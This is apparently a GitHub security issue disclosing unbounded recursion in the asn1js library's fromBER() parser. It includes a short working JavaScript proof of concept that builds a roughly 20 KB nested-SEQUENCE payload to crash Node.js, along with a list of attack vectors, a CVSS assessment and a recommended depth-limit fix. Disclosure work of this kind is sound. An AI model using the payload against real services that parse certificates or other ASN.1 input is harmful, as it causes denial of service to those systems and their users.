Skip to content

[SECURITY] Unbounded Recursion in fromBER() Leading to Denial of Service (CVE Request) #131

@tldhs1144

Description

@tldhs1144

Summary

asn1js's fromBER() function recursively parses ASN.1 constructed types (SEQUENCE, SET) without any depth limit. An attacker can craft a DER/BER blob with deeply nested structures to exhaust the JavaScript call stack, crashing Node.js processes or browser tabs.

Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion)
Similar CVE: CVE-2025-66031 (node-forge - fixed with maxDepth: 256)

This vulnerability affects all applications processing untrusted ASN.1 data, including:

  • TLS certificate parsing
  • PKCS#12 processing
  • X.509 validation
  • Any cryptographic operations relying on ASN.1 structures

Attack requirements: Network-accessible ASN.1 parser, ~20KB payload
Impact: Complete service unavailability (process crash)


Technical Details

Vulnerable Code Path

fromBER() [src/parser.ts:276]
  → Constructed.fromBER() [src/Constructed.ts:28]
    → LocalConstructedValueBlock.fromBER() [src/internals/LocalConstructedValueBlock.ts:69]

Core Vulnerability

File: src/internals/LocalConstructedValueBlock.ts:69

while (checkLen(...) > 0) {
    const returnObject = localFromBER(view, currentOffset, inputLength);
    // ↑ Recursive call with NO depth parameter
    this.value.push(returnObject.result);
    currentOffset = returnObject.offset;
}

Depth limit audit:

grep -rn "depth\|limit\|maxDepth" src/parser.ts src/Constructed.ts src/internals/
# Result: Zero matches in parsing logic

No depth counter, configuration option, or hardcoded limit exists anywhere in the codebase.


Proof of Concept

const asn1js = require('asn1js');

// Craft nested SEQUENCE: 0x30 <len> 0x30 <len> ... × 10,000
function makeNestedSequence(depth) {
    let inner = Buffer.alloc(0);
    for (let i = 0; i < depth; i++) {
        // 0x30 = SEQUENCE tag, followed by length
        inner = Buffer.concat([Buffer.from([0x30, inner.length]), inner]);
    }
    return inner;
}

const payload = makeNestedSequence(10000);  // ~20 KB
console.log(`Payload size: ${payload.length} bytes`);

try {
    asn1js.fromBER(payload);
    console.log('No vulnerability (unexpected)');
} catch (e) {
    console.log('Error:', e.message);
    // Expected: "RangeError: Maximum call stack size exceeded"
}

Payload structure:

  • 0x30 = SEQUENCE tag (ASN.1 universal constructed type 16)
  • Each SEQUENCE contains one nested SEQUENCE
  • 10,000 nested SEQUENCEs → 10,000 recursive calls → stack exhaustion
  • Payload size: ~20 KB
  • Crash threshold: ~8,000-12,000 nesting levels (varies by runtime)

Attack Vectors

  • TLS certificate parsing: Malicious certificates with deeply nested extensions
  • PKCS#12 file processing: Key import/export operations
  • X.509 certificate validation: Certificate chain validation
  • S/MIME message processing: Email security
  • Code signing: Certificate verification
  • Any API accepting ASN.1-encoded input

Impact

Who is impacted:

  • Any application using asn1js to parse untrusted ASN.1 data
  • TLS/SSL implementations using asn1js for certificate parsing
  • PKCS#12 key import/export functionality
  • X.509 certificate validation services
  • PKI.js users (~700K weekly downloads) - inherits this vulnerability
  • @peculiar/x509 users
  • webcrypto-liner users

Impact severity:

  • Availability: Node.js process termination or browser tab crash
  • Attack complexity: Low (straightforward nested structure construction)
  • Authentication: Not required
  • User interaction: None (automated parsing)
  • Payload size: ~20 KB for guaranteed crash
  • Scope: Changed (vulnerable application + dependent services/clients)

Package status:

  • Weekly downloads: ~6M
  • Actively maintained: Yes

Comparison with CVE-2025-66031

CVE-2025-66031 (node-forge):

  • Issue: Identical unbounded recursion in ASN.1 parsing
  • Fix: Added maxDepth parameter (default: 256)
  • Status: Fixed and patched

asn1js:

  • Status: NOT implemented similar protection
  • Requires: Same mitigation as node-forge

Recommended Fix

Based on the CVE-2025-66031 solution:

export function fromBER(buffer: ArrayBuffer, maxDepth: number = 256): FromBerResult {
    // Add depth parameter throughout call chain
    return localFromBER(buffer, 0, buffer.byteLength, maxDepth);
}

// In LocalConstructedValueBlock.fromBER:
while (checkLen(...) > 0) {
    if (currentDepth >= maxDepth) {
        throw new Error('Maximum ASN.1 nesting depth exceeded');
    }
    const returnObject = localFromBER(view, currentOffset, inputLength, currentDepth + 1);
    this.value.push(returnObject.result);
}

Default depth limit: 256 (same as node-forge)


Downstream Impact

pkijs (~700K weekly downloads) depends on asn1js and inherits this vulnerability. All 51+ call sites to asn1js.fromBER() across pkijs are vulnerable:

  • Certificate parsing
  • PKCS#7/CMS processing
  • OCSP validation
  • CRL parsing
  • CSR handling
  • PKCS#12 file processing

Recommendation: Fix asn1js first, then update pkijs dependency version.


CVSS v4.0 Assessment

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Score: 8.7 (High)

Breakdown:

  • AV:N (Network) - Exploitable via TLS, HTTP file upload, API endpoints
  • AC:L (Low) - Trivial nested SEQUENCE construction
  • AT:N (None) - No additional attack requirements
  • PR:N (None) - No authentication required
  • UI:N (None) - Automated server-side or client-side parsing
  • VA:H (High) - Complete service disruption (process crash)

References


Disclosure

Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com

I am requesting coordinated disclosure. Please acknowledge this issue and provide an expected timeline for a patch.


Note: This vulnerability parallels CVE-2025-66031 in node-forge, which was successfully fixed by adding a maxDepth parameter. asn1js requires the same mitigation to protect users and downstream packages like pkijs.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions